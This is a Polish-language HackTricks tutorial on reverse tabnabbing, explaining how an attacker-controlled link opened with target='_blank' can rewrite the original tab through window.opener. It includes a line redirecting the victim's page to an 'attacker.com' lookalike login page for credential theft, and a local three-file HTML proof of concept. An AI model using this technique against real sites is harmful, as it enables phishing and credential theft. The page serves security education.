6.7 KiB
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Opis
W sytuacji, gdy atakujący może kontrolować argument href
znacznika <a
z atrybutem target="_blank" rel="opener"
, który zostanie kliknięty przez ofiarę, atakujący może skierować ten link do strony internetowej pod swoją kontrolą (złośliwa strona internetowa). Następnie, gdy ofiara kliknie link i wejdzie na stronę atakującego, ta złośliwa strona internetowa będzie mogła kontrolować oryginalną stronę za pomocą obiektu JavaScript window.opener
.
Jeśli strona nie ma rel="opener"
, ale zawiera target="_blank"
, to również może być podatna.
Zwykłym sposobem wykorzystania tego zachowania byłoby zmienienie lokalizacji oryginalnej strony internetowej za pomocą window.opener.location = https://attacker.com/victim.html
na stronę kontrolowaną przez atakującego, która wygląda jak oryginalna, dzięki czemu może naśladować formularz logowania oryginalnej strony internetowej i prosić użytkownika o dane uwierzytelniające.
Należy jednak zauważyć, że ponieważ atakujący teraz może kontrolować obiekt okna oryginalnej strony internetowej, może go nadużywać w inny sposób, aby przeprowadzać bardziej skryte ataki (może modyfikować zdarzenia JavaScript, aby wyciekać informacje do serwera kontrolowanego przez niego?).
Przegląd
Z odnośnikiem wstecznym
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy nie jest używany atrybut zapobiegający:
Bez odnośnika wstecznego
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy jest używany atrybut zapobiegający:
Przykłady
Utwórz następujące strony w folderze i uruchom serwer WWW za pomocą python3 -m http.server
Następnie wejdź na http://127.0.0.1:8000/
vulnerable.html, kliknij na link i zauważ, jak zmienia się URL oryginalnej strony internetowej.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="złośliwy.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Dostępne właściwości
W przypadku wystąpienia dostępu między domenami (dostępu między różnymi domenami), właściwości instancji klasy JavaScript window, na które można uzyskać dostęp przez złośliwą witrynę przy użyciu odwołania do obiektu JavaScript opener, są ograniczone do następujących:
opener.closed
: Ta właściwość jest używana do sprawdzenia, czy okno zostało zamknięte, zwracając wartość logiczną.opener.frames
: Ta właściwość umożliwia dostęp do wszystkich elementów iframe w bieżącym oknie.opener.length
: Ta właściwość zwraca liczbę elementów iframe obecnych w bieżącym oknie.opener.opener
: Odwołanie do okna, które otworzyło bieżące okno, można uzyskać za pomocą tej właściwości.opener.parent
: Ta właściwość zwraca okno nadrzędne bieżącego okna.opener.self
: Ta właściwość umożliwia dostęp do samego bieżącego okna.opener.top
: Ta właściwość zwraca najwyższe okno przeglądarki.
Jednak w przypadku, gdy domeny są identyczne, złośliwa witryna uzyskuje dostęp do wszystkich właściwości udostępnianych przez window odwołanie do obiektu JavaScript.
Zapobieganie
Informacje dotyczące zapobiegania są udokumentowane w HTML5 Cheat Sheet.
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.